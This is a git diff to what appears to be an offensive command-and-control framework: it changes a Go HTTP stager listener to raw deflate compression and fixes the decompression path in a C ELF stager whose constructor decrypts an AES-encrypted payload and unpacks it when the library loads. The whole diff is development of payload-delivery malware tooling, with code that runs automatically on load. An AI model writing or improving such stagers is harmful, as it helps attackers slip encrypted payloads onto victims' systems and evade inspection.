diff --git a/core/cmd/listener/http_stager.go b/core/cmd/listener/http_stager.go
index 8c2798fad..07521f6d8 100644
--- a/core/cmd/listener/http_stager.go
+++ b/core/cmd/listener/http_stager.go
@@ -2,7 +2,7 @@ package main
 
 import (
 	"bytes"
-	"compress/zlib"
+	"compress/flate"
 	"crypto/aes"
 	"crypto/cipher"
 	"crypto/rand"
@@ -43,11 +43,14 @@ func encryptData(data []byte, key []byte) []byte {
 	return append(iv, encrypted...)
 }
 
-// compressData compresses the given data using zlib.
+// compressData compresses the given data using raw deflate.
 func compressData(data []byte) []byte {
 	var b bytes.Buffer
-	w := zlib.NewWriter(&b)
-	_, err := w.Write(data)
+	w, err := flate.NewWriter(&b, flate.BestCompression)
+	if err != nil {
+		log.Fatalf("Failed to create deflate writer: %v", err)
+	}
+	_, err = w.Write(data)
 	if err != nil {
 		log.Fatalf("Failed to compress data: %v", err)
 	}
diff --git a/loader/elf/stager.c b/loader/elf/stager.c
index 3247f3d5e..8b9937fb0 100644
--- a/loader/elf/stager.c
+++ b/loader/elf/stager.c
@@ -241,6 +241,15 @@ void __attribute__((constructor)) initLibrary(void) {
   DEBUG_PRINT("Encrypted data size: %zu\n", data_size - 16);
   size_t decrypted_size = decrypt_data(buf + 16, data_size - 16, key, iv);
 
+  // copy the decrypted data to a new buffer
+  char *decrypted_data = calloc(decrypted_size, sizeof(char));
+  if (!decrypted_data) {
+    perror("malloc");
+    free(buf);
+    return;
+  }
+  memcpy(decrypted_data, buf + 16, decrypted_size);
+
 #ifdef DEBUG
   // Save the decrypted data to disk
   FILE *file = fopen("/tmp/decrypted_data", "wb");
@@ -254,16 +263,17 @@ void __attribute__((constructor)) initLibrary(void) {
 #endif
 
   // Decompress the decrypted data
-  unsigned int decompressed_size = BUFFER_SIZE * 10; // Adjust as needed
-  char *decompressed_buffer = malloc(decompressed_size);
+  unsigned int decompressed_size = decrypted_size * 10; // Adjust as needed
+  char *decompressed_buffer = calloc(decompressed_size, sizeof(char));
   if (!decompressed_buffer) {
     perror("malloc");
     free(buf);
     return;
   }
+  DEBUG_PRINT("Allocated decompressed buffer of size: %u\n", decompressed_size);
 
-  int res = tinf_zlib_uncompress(decompressed_buffer, &decompressed_size,
-                                 buf + 16, decrypted_size);
+  int res = tinf_uncompress(decompressed_buffer, &decompressed_size,
+                            decrypted_data, decrypted_size);
   free(buf);
   if (res != TINF_OK) {
     fprintf(stderr, "Decompression failed: %d\n", res);